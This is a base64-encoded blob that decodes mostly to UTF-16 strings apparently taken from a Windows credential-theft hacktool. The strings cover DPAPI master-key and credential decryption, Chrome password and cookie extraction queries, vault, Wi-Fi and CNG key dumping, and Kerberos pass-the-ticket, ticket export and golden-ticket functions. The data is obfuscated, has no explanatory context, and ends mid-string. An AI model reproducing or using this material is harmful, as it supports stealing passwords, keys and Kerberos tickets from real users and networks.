AdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHAAYQBzAHMAdwBvAHIAZAAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABoAGEAcwBoADoAIAAAAAAAAAAAACAAKABuAHQAbABtACAAdAB5AHAAZQApAAoAAAAAAAAAIAAoAHMAaABhADEAIAB0AHkAcABlACkACgAAAAAAAAAgACgAPwApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwB1AHMAZQByAEgAYQBzAGgACgAAAAAACgBbAGQAbwBtAGEAaQBuAGsAZQB5AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAKAAAAAAAAAHAAdgBrAAAACgBbAGQAbwBtAGEAaQBuAGsAZQB5AF0AIAB3AGkAdABoACAAUgBTAEEAIABwAHIAaQB2AGEAdABlACAAawBlAHkACgAAAAAAcgBwAGMAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFAAQwAKAAAAAABkAGMAAAAAAGQAbwBtAGEAaQBuAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAGQAbwBtAGEAaQBuAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAASQBuAHAAdQB0ACAAbQBhAHMAdABlAHIAawBlAHkAcwAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZABoAGkAcwB0ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcwBoAGEAMQAAAAAAAAAAAAoAIAAgAFsAZQBuAHQAcgB5ACAAJQB1AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAAAAAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAaABpAHMAdAAgADsAIABJAG4AcAB1AHQAIABjAHIAZQBkAGgAaQBzAHQAIABmAGkAbABlACA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AbwBtAGUAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAHAAcgBlAHAAYQByAGUAXwB2ADIAOgAgACUAUwAKAAAAY29va2llcwBzZWxlY3QgaG9zdF9rZXksIHBhdGgsIG5hbWUsIGNyZWF0aW9uX3V0YywgZXhwaXJlc191dGMsIGVuY3J5cHRlZF92YWx1ZSBmcm9tIGNvb2tpZXMgb3JkZXIgYnkgaG9zdF9rZXksIHBhdGgsIG5hbWUAAAAAAAAAAAAAAAAAAAoASABvAHMAdAAgACAAOgAgACUALgAqAFMAIAAoACAAJQAuACoAUwAgACkACgBOAGEAbQBlACAAIAA6ACAAJQAuACoAUwAKAEQAYQB0AGUAcwAgADoAIAAAAAAAAAAAACAALQA+ACAAAAAAAAAAAABDAG8AbwBrAGkAZQA6ACAAJQAuACoAUwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAATgBlAGkAdABoAGUAcgAgAHQAaABlACAAdABhAGIAbABlACAAJwBsAG8AZwBpAG4AcwAnACAAbwByACAAdABoAGUAIAB0AGEAYgBsAGUAIAAnAGMAbwBvAGsAaQBlAHMAJwAgAGUAeABpAHMAdAAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABzAHEAbABpAHQAZQAzAF8AbwBwAGUAbgBfAHYAMgA6ACAAJQBTACAAKAAlAFMAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAGkAbgBpAHQAaQBhAGwAaQB6AGUAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAEkAbgBwAHUAdAAgACcATABvAGcAaQBuACAARABhAHQAYQAnACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6ACIAJQAlAGwAbwBjAGEAbABhAHAAcABkAGEAdABhACUAJQBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABVAHMAZQByACAARABhAHQAYQBcAEQAZQBmAGEAdQBsAHQAXABMAG8AZwBpAG4AIABEAGEAdABhACIAKQAKAAAAc2VsZWN0IGNvdW50KCopIGZyb20gc3FsaXRlX21hc3RlciB3aGVyZSB0eXBlPSd0YWJsZScgYW5kIG5hbWU9PwAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlAF8AaQBzAFQAYQBiAGwAZQBFAHgAaQBzAHQAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAHMAdABlAHAAOgAgACUAUwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBpAHMAVABhAGIAbABlAEUAeABpAHMAdAAgADsAIABzAHEAbABpAHQAZQAzAF8AYgBpAG4AZABfAHQAZQB4AHQAOgAgACUAUwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQBfAGkAcwBUAGEAYgBsAGUARQB4AGkAcwB0ACAAOwAgAHMAcQBsAGkAdABlADMAXwBwAHIAZQBwAGEAcgBlAF8AdgAyADoAIAAlAFMACgAAAAAAAAAAAAAAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEwAZQBnAGEAYwB5ACAAQwByAGUAZABlAG4AdABpAGEAbAAoAHMAKQA6AAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAOgAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZAAgADsAIABJAG4AcAB1AHQAIABDAFIARQBEACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAAAAAAAcABvAGwAaQBjAHkAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAG8AbABpAGMAeQAgAEsAZQB5AHMAOgAKAAAAAAAAAAAAIAAgAEEARQBTADEAMgA4ACAAawBlAHkAOgAgAAAAAAAgACAAQQBFAFMAMgA1ADYAIABrAGUAeQA6ACAAAAAAACAAIAA+ACAAQQB0AHQAcgBpAGIAdQB0AGUAIAAlAHUAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABwAG8AbABpAGMAeQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABjAHIAZQBkACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAASQBuAHAAdQB0ACAAQwByAGUAZAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBjAHIAZQBkADoAZgBpAGwAZQApAAoAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAAAAAEhqMWRpUTZrcFV4N1ZDNG0AAAAAAAAAAAAAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAAAByAGEAdwBfAHMAaQBnAG4AYQB0AHUAcgBlAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBFAFgAQwBIAEEATgBHAEUAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAEUAWABDAEgAQQBOAEcARQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAAAAAAAAAByAGEAdwBfAGUAeABjAGgAYQBuAGcAZQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABJAG4AcAB1AHQAIABDAEEAUABJACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAHIAaQB2AGEAdABlACAAUAByAG8AcABlAHIAdABpAGUAcwA6AAoAAAA2am5rZDVKM1pkUUR0cnN1AAAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAAAAAAHhUNXJaVzVxVlZicnZwdUEAAAAAAAAAAHIAYQB3AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQ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AZQAAAGsAZQByAGIAZQByAG8AcwAAAAAAAAAAAEsAZQByAGIAZQByAG8AcwAgAHAAYQBjAGsAYQBnAGUAIABtAG8AZAB1AGwAZQAAACoAIABEAGkAcgBlAGMAdABvAHIAeQA6ACAAJwAlAHMAJwAKAAAAAAAqAC4AawBpAHIAYgBpAAAACgAqACAARgBpAGwAZQA6ACAAJwAlAHMAJwA6ACAAAABPAEsACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAEwAcwBhAEMAYQBsAGwASwBlAHIAYgBlAHIAbwBzAFAAYQBjAGsAYQBnAGUAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAVABpAGMAawBlAHQAKABzACkAIABwAHUAcgBnAGUAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAaQBzACAATwBLAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABLAGUAcgBiAGUAcgBvAHMAIABUAEcAVAAgAG8AZgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAOgAgAAAAAAAAAAAAAAAAAAoACgAJACoAKgAgAFMAZQBzAHMAaQBvAG4AIABrAGUAeQAgAGkAcwAgAE4AVQBMAEwAIQAgAEkAdAAgAG0AZQBhAG4AcwAgAGEAbABsAG8AdwB0AGcAdABzAGUAcwBzAGkAbwBuAGsAZQB5ACAAaQBzACAAbgBvAHQAIABzAGUAdAAgAHQAbwAgADEAIAAqACoACgAAAAAAbgBvACAAdABpAGMAawBlAHQAIAAhAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAZQB4AHAAbwByAHQAAAAAAAoAWwAlADAAOAB4AF0AIAAtACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAAAAAAAAAoAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAAAAAAAAAAIAA7ACAAAAAAAAAAAAAAAAoAIAAgACAAUwBlAHIAdgBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAAAAAAAAAAACgAgACAAIABDAGwAaQBlAG4AdAAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAAAAAACgAgACAAIABGAGwAYQBnAHMAIAAlADAAOAB4ACAAIAAgACAAOgAgAAAAAAAAAAAAawBpAHIAYgBpAAAAAAAAAAoAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgADoAIAAlAHMAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAo